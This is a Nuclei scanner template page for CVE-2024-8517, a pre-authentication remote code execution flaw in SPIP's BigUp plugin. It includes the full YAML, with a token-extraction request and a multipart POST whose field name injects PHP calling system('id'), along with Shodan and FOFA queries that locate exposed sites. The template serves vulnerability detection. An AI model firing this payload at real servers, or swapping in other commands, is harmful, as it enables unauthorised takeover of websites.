SPIP BigUp Plugin - Remote Code Execution

ID: CVE-2024-8517

Severity: critical

Author: DhiyaneshDk

Tags: cve,cve2024,intrusive,spip,rce

Description

SPIP before 4.3.2, 4.2.16, and 4.1.18 is vulnerable to a command injection issue. A remote and unauthenticated attacker can execute arbitrary operating system commands by sending a crafted multipart file upload HTTP request.

YAML Source

id: CVE-2024-8517

info:
  name: SPIP BigUp Plugin - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    SPIP before 4.3.2, 4.2.16, and 4.1.18 is vulnerable to a command injection issue. A remote and unauthenticated attacker can execute arbitrary operating system commands by sending a crafted multipart file upload HTTP request.
  reference:
    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html
    - https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/
    - https://vulncheck.com/advisories/spip-upload-rce
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8517
    cwe-id: CWE-646
    epss-score: 0.00045
    epss-percentile: 0.16322
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:-1224668706
    fofa-query: "X-Spip-Cache"
  tags: cve,cve2024,intrusive,spip,rce

flow: http(1) && http(2)

variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /spip.ph%70?pag%65=spip_pass&lang=fr HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'formulaire_action_args'
          - 'spip'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: formulaire
        regex:
          - name=['"]formulaire_action_args['"]\s*type=['"]hidden['"]\s*value=['"]([^'"]+)['"]
        internal: true

  - raw:
      - |
        POST /spip.ph%70?pag%65=spip_pass&lang=fr HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=5f02b65945d644d6a32847ab130e9586

        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="page"

        spip_pass
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="lang"

        fr
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="formulaire_action"

        oubli
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="formulaire_action_args"

        {{formulaire}}
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="formulaire_action_sign"


        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="oubli"

        {{email}}
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="nobot"


        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="bigup_retrouver_fichiers"

        a
        --5f02b65945d644d6a32847ab130e9586
        Content-Disposition: form-data; name="RCE['.system('id').die().']"; filename="{{filename}}.txt"
        Content-Type: text/plain

        {{string}}
        --5f02b65945d644d6a32847ab130e9586--

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
# digest: 490a0046304402204acc12d80dce8864c38de5a73554c57e61410ef051489821a53d912a6c9cf83402206b71cdddaba20d5d11c02eeef22805bb7bb908168777555e0178b10df12ab08a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-8517.yaml"

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